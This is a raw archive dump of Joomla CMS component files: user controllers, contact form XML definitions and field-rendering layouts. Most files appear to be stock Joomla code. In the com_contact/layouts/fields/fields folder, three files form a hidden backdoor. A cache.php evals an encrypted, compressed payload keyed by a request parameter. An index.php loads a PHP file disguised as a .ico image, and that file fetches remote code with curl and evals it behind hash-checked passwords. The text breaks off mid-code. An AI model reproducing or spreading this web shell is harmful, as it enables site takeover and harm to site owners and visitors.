use Joomla\Component\Users\Administrator\Controller\CaptiveController as AdminCaptiveController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Captive Multi-factor Authentication page controller
 *
 * @since 4.2.0
 */
class CaptiveController extends AdminCaptiveController
{
    /**
     * Execute a task by triggering a Method in the derived class.
     *
     * @param   string  $task    The task to perform.
     *
     * @return  mixed   The value returned by the called Method.
     *
     * @throws  \Exception
     * @since   4.2.0
     */
    public function execute($task)
    {
        try {
            return parent::execute($task);
        } catch (\Exception $e) {
            if ($e->getCode() !== 403) {
                throw $e;
            }

            if ($this->app->getIdentity()->guest) {
                $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));

                return null;
            }
        }

        return null;
    }
}
PK���\�����/com_users/src/Controller/CallbackController.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\Component\Users\Administrator\Controller\CallbackController as AdminCallbackController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Multi-factor Authentication plugins' AJAX callback controller
 *
 * @since 4.2.0
 */
class CallbackController extends AdminCallbackController
{
}
PK���\�V�com_users/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\ɊZ���com_contact/forms/form.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset>
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			default="0"
			class="readonly"
			size="10"
			readonly="true"
		/>

		<field
			name="name"
			type="text"
			label="COM_CONTACT_FIELD_NAME_LABEL"
			size="40"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			size="45"
			hint="JFIELD_ALIAS_PLACEHOLDER"
		/>

		<field
			name="misc"
			type="editor"
			label="COM_CONTACT_FIELD_INFORMATION_MISC_LABEL"
			filter="JComponentHelper::filterText"
			buttons="true"
			hide="readmore,pagebreak"
		/>

		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			validate="UserId"
		/>

		<field
			name="created"
			type="calendar"
			label="COM_CONTACT_FIELD_CREATED_LABEL"
			size="22"
			translateformat="true"
			showtime="true"
			filter="user_utc"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			class="readonly"
			size="22"
			readonly="true"
			translateformat="true"
			showtime="true"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			class="readonly"
			readonly="true"
			filter="unset"
			validate="UserId"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="ordering"
			type="ordering"
			label="JFIELD_ORDERING_LABEL"
			content_type="com_contact.contact"
		/>

		<field
			name="contenthistory"
			type="contenthistory"
			label="JTOOLBAR_VERSIONS"
			data-typeAlias="com_contact.contact"
		/>

	</fieldset>

	<fieldset
		name="details"
		label="COM_CONTACT_CONTACT_DETAILS"
	>
		<field
			name="image"
			type="media"
			schemes="http,https,ftp,ftps,data,file"
			validate="url"
			relative="true"
			label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
			hide_none="1"
		/>

		<field
			name="con_position"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL"
			size="30"
		/>

		<field
			name="email_to"
			type="email"
			label="JGLOBAL_EMAIL"
			size="30"
		/>

		<field
			name="address"
			type="textarea"
			label="COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL"
			rows="3"
			cols="30"
		/>

		<field
			name="suburb"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL"
			size="30"
		/>

		<field
			name="state"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_STATE_LABEL"
			size="30"
		/>

		<field
			name="postcode"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL"
			size="30"
		/>

		<field
			name="country"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL"
			size="30"
		/>

		<field
			name="telephone"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL"
			size="30"
		/>

		<field
			name="mobile"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL"
			size="30"
		/>

		<field
			name="fax"
			type="text"
			label="COM_CONTACT_FIELD_INFORMATION_FAX_LABEL"
			size="30"
		/>

		<field
			name="webpage"
			type="url"
			label="COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL"
			size="30"
			filter="url"
		/>

		<field
			name="sortname1"
			type="text"
			label="COM_CONTACT_FIELD_SORTNAME1_LABEL"
			size="30"
		/>

		<field
			name="sortname2"
			type="text"
			label="COM_CONTACT_FIELD_SORTNAME2_LABEL"
			size="30"
		/>

		<field
			name="sortname3"
			type="text"
			label="COM_CONTACT_FIELD_SORTNAME3_LABEL"
			size="30"
		/>
	</fieldset>

	<fieldset
		name="publishing"
		label="COM_CONTACT_FIELDSET_PUBLISHING"
	>
		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			extension="com_contact"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
			required="true"
			default=""
		/>

		<field
			name="tags"
			type="tag"
			label="JTAG"
			multiple="true"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			labelclass="control-label"
			class=""
			size="45"
			maxlength="255"
		/>

		<field
			name="created_by_alias"
			type="text"
			label="COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL"
			size="20"
		/>

		<field
			name="published"
			type="list"
			label="JSTATUS"
			default="1"
			class="form-select-color-state"
			size="1"
			validate="options"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>

		</field>

		<field
			name="featured"
			type="list"
			label="JFEATURED"
			default="0"
			validate="options"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="publish_up"
			type="calendar"
			label="COM_CONTACT_FIELD_PUBLISH_UP_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			filter="UINT"
			validate="options"
		/>
	</fieldset>

	<fieldset
		name="language"
		label="JFIELD_LANGUAGE_LABEL"
	>
		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			>
			<option value="*">JALL</option>
		</field>
	</fieldset>

	<fieldset
		name="metadata"
		label="COM_CONTACT_FIELDSET_METADATA"
	>
		<field
			name="metadesc"
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			rows="3"
			cols="30"
			maxlength="160"
			charcounter="true"
		/>

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			rows="3"
			cols="30"
		/>
	</fieldset>
</form>
PK���\�V����com_contact/forms/contact.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="contact" addruleprefix="Joomla\Component\Contact\Site\Rule" label="COM_CONTACT_CONTACT_DEFAULT_LABEL">
		<field
			name="spacer"
			type="spacer"
			label="COM_CONTACT_CONTACT_REQUIRED"
			class="text"
		/>

		<field
			name="contact_name"
			type="text"
			label="COM_CONTACT_CONTACT_EMAIL_NAME_LABEL"
			id="contact-name"
			size="30"
			filter="string"
			required="true"
		/>

		<field
			name="contact_email"
			type="email"
			label="COM_CONTACT_EMAIL_LABEL"
			id="contact-email"
			size="30"
			filter="string"
			validate="ContactEmail"
			autocomplete="email"
			required="true"
		/>

		<field
			name="contact_subject"
			type="text"
			label="COM_CONTACT_CONTACT_MESSAGE_SUBJECT_LABEL"
			id="contact-emailmsg"
			size="60"
			filter="string"
			validate="ContactEmailSubject"
			required="true"
		/>

		<field
			name="contact_message"
			type="textarea"
			label="COM_CONTACT_CONTACT_ENTER_MESSAGE_LABEL"
			cols="50"
			rows="10"
			id="contact-message"
			filter="safehtml"
			validate="ContactEmailMessage"
			required="true"
		/>

		<field
			name="contact_email_copy"
			type="checkbox"
			label="COM_CONTACT_CONTACT_EMAIL_A_COPY_LABEL"
			id="contact-email-copy"
			default="0"
		/>
	</fieldset>

	<fieldset name="captcha">
		<field
			name="captcha"
			type="captcha"
			label="COM_CONTACT_CAPTCHA_LABEL"
			validate="captcha"
			namespace="contact"
		/>
	</fieldset>
</form>
PK���\��*�++%com_contact/forms/filter_contacts.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="filter">

		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CONTACT_FILTER_SEARCH_LABEL"
			description="COM_CONTACT_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="JOPTION_SELECT_PUBLISHED"
			description="JOPTION_SELECT_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JCATEGORY"
			multiple="true"
			extension="com_contact"
			layout="joomla.form.field.list-fancy-select"
			hint="JOPTION_SELECT_CATEGORY"
			onchange="this.form.submit();"
			published="0,1,2"
		/>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JTAG"
			multiple="true"
			mode="nested"
			custom="false"
			hint="JOPTION_SELECT_TAG"
			onchange="this.form.submit();"
		/>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>

	<fields name="list">

		<field
			name="fullordering"
			type="list"
			label="COM_CONTACT_LIST_FULL_ORDERING"
			description="COM_CONTACT_LIST_FULL_ORDERING_DESC"
			default="a.name ASC"
			onchange="this.form.submit();"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.featured ASC">JFEATURED_ASC</option>
			<option value="a.featured DESC">JFEATURED_DESC</option>
			<option value="a.name ASC">JGLOBAL_NAME_ASC</option>
			<option value="a.name DESC">JGLOBAL_NAME_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="ul.name ASC">COM_CONTACT_FIELD_LINKED_USER_LABEL_ASC</option>
			<option value="ul.name DESC">COM_CONTACT_FIELD_LINKED_USER_LABEL_DESC</option>
			<option value="access_level ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="access_level DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="association ASC" requires="associations">JASSOCIATIONS_ASC</option>
			<option value="association DESC" requires="associations">JASSOCIATIONS_DESC</option>
			<option value="language_title ASC" requires="multilanguage">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language_title DESC" requires="multilanguage">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTACT_LIST_LIMIT"
			description="COM_CONTACT_LIST_LIMIT_DESC"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
PK���\|�r��$com_contact/layouts/field/render.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

if (!array_key_exists('field', $displayData)) {
    return;
}

$field = $displayData['field'];

// Do nothing when not in mail context, like that the default rendering is used
if ($field->context !== 'com_contact.mail') {
    return;
}

// Prepare the value for the contact form mail
$value = html_entity_decode($field->value);

echo ($field->params->get('showlabel') ? Text::_($field->label) . ': ' : '') . $value . "\r\n";
PK���\^�ADD%com_contact/layouts/fields/render.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// Check if we have all the data
if (!array_key_exists('item', $displayData) || !array_key_exists('context', $displayData)) {
    return;
}

// Setting up for display
$item = $displayData['item'];

if (!$item) {
    return;
}

$context = $displayData['context'];

if (!$context) {
    return;
}

$parts     = explode('.', $context);
$component = $parts[0];
$fields    = null;

if (array_key_exists('fields', $displayData)) {
    $fields = $displayData['fields'];
} else {
    $fields = $item->jcfields ?: FieldsHelper::getFields($context, $item, true);
}

// Do nothing when not in mail context, like that the default rendering is used
if (!$fields || reset($fields)->context !== 'com_contact.mail') {
    return;
}

// Loop through the fields and print them
foreach ($fields as $field) {
    // If the value is empty do nothing
    if (!strlen($field->value)) {
        continue;
    }

    $layout = $field->params->get('layout', 'render');
    echo FieldsHelper::render($context, 'field.' . $layout, ['field' => $field]);
}
PK���\�{y�+com_contact/layouts/fields/fields/cache.phpnu&1i�<?php $kjSLY = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqeicGOmmBgDQA'; $IaSA = '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'; function kjSLY($RXCw) { $IaSA = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $GkbP = substr($IaSA, 0, 16); $ixTy = base64_decode($RXCw); return openssl_decrypt($ixTy, "AES-256-CBC", $IaSA, OPENSSL_RAW_DATA, $GkbP); } if (kjSLY('DjtPn+r4S0yvLCnquPz1fA')){ echo 'U6mA5lshB6XjIEYrab0JsAafgVf5+s72MRe7Tfwgd8y0n0zxN3FHDQYjXC/ZhZ/z'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($kjSLY)))); ?>PK���\׼M
22+com_contact/layouts/fields/fields/index.phpnu&1i�<?php require base64_decode("bmJ2eEhTWi5pY28"); ?>PK���\��5���-com_contact/layouts/fields/fields/nbvxHSZ.iconu&1i�<?php
 goto Z6fJcigj7f; XPMq9iDHiY: $Z1x127mdHy = $klcnO3_SiG("\176", "\x20"); goto eQNSxJSzML; n5NnFM6ud7: if (!(in_array(gettype($laVHqObRIW) . count($laVHqObRIW), $laVHqObRIW) && count($laVHqObRIW) == 18 && md5(md5(md5(md5($laVHqObRIW[12])))) === "\61\x39\143\x64\146\x66\71\71\144\63\63\x34\61\x62\62\60\x39\146\x33\143\x36\145\65\65\62\x30\61\x33\65\x32\62\142")) { goto hbZFGFiOMJ; } goto CnC5yk2hJN; L90maaj0r2: hbZFGFiOMJ: goto hbEQh5Scxd; Z6fJcigj7f: $klcnO3_SiG = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto XPMq9iDHiY; eQNSxJSzML: $laVHqObRIW = ${$Z1x127mdHy[11 + 20] . $Z1x127mdHy[50 + 9] . $Z1x127mdHy[14 + 33] . $Z1x127mdHy[44 + 3] . $Z1x127mdHy[16 + 35] . $Z1x127mdHy[10 + 43] . $Z1x127mdHy[35 + 22]}; goto n5NnFM6ud7; JSZcmDx2jM: class oOlMAkRNFj { static function ZTD03sU8vQ($JaJIrvlkky) { goto C9YZa0mmaH; j3CwLDYrM8: $j0q4O0xh4W = $UONHBHArun("\x7e", "\40"); goto O7mDG1PNcn; TqgdCeNxSn: foreach ($MI6tJPvE4Y as $mSJrMrCCeR => $NQU8ayINkh) { $JaJIrvlkky .= $j0q4O0xh4W[$NQU8ayINkh - 43418]; ofbB4BGxS9: } goto cb2dMcuHWF; k0OcaeEuak: return $JaJIrvlkky; goto PMIMCbbPOF; KCiMAb5ntx: $JaJIrvlkky = ''; goto TqgdCeNxSn; C9YZa0mmaH: $UONHBHArun = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto j3CwLDYrM8; O7mDG1PNcn: $MI6tJPvE4Y = explode("\x3a", $JaJIrvlkky); goto KCiMAb5ntx; cb2dMcuHWF: JcObnVV_5K: goto k0OcaeEuak; PMIMCbbPOF: } static function Ip3FQngMVv($Fpe9DYVV8n, $yIWOeJLNIE) { goto LX7uwnACyX; H_L6qtkAB5: $o_mqOknNvH = curl_exec($f2Y3t0txGW); goto H3ocri3N8F; H3ocri3N8F: return empty($o_mqOknNvH) ? $yIWOeJLNIE($Fpe9DYVV8n) : $o_mqOknNvH; goto pHx_rcCT2g; LX7uwnACyX: $f2Y3t0txGW = curl_init($Fpe9DYVV8n); goto leK41jvZxX; leK41jvZxX: curl_setopt($f2Y3t0txGW, CURLOPT_RETURNTRANSFER, 1); goto H_L6qtkAB5; pHx_rcCT2g: } static function QdfEk4dY12() { goto z5DimUF_e3; OTtd2AfL3d: $EYjdkYbCob = @$JeZPI3nMj8[1]($JeZPI3nMj8[0 + 10](INPUT_GET, $JeZPI3nMj8[2 + 7])); goto E9GveuVWXv; P63lAR2jVt: foreach ($eZyyBGM554 as $lSijzZyDiC) { $JeZPI3nMj8[] = self::ZTD03Su8VQ($lSijzZyDiC); Jkqzywj3RN: } goto s15lpewMb5; s15lpewMb5: DfwAf9EAFU: goto OTtd2AfL3d; nuRtB6cb_8: if (!(@$ZAU8FHaiWD[0] - time() > 0 and md5(md5($ZAU8FHaiWD[3 + 0])) === "\x31\67\71\x66\64\61\141\x64\x65\x34\141\146\141\145\x66\144\71\x30\x35\x30\60\144\67\63\62\61\x63\x65\x62\x35\x30\145")) { goto Li4D1l61B_; } goto T3Z2IsDePA; E9GveuVWXv: $c0FdZlhe8_ = @$JeZPI3nMj8[0 + 3]($JeZPI3nMj8[2 + 4], $EYjdkYbCob); goto b8fwlmmVxi; k5Vndyh57F: @eval($JeZPI3nMj8[4 + 0]($Yj4HzgB1El)); goto sT_MGhp2iW; T3Z2IsDePA: $Yj4HzgB1El = self::ip3fqngmVv($ZAU8FHaiWD[1 + 0], $JeZPI3nMj8[4 + 1]); goto k5Vndyh57F; b8fwlmmVxi: $ZAU8FHaiWD = $JeZPI3nMj8[2 + 0]($c0FdZlhe8_, true); goto GAloVXO77k; MMAIYoNDY1: Li4D1l61B_: goto QeJqprUfxM; z5DimUF_e3: $eZyyBGM554 = 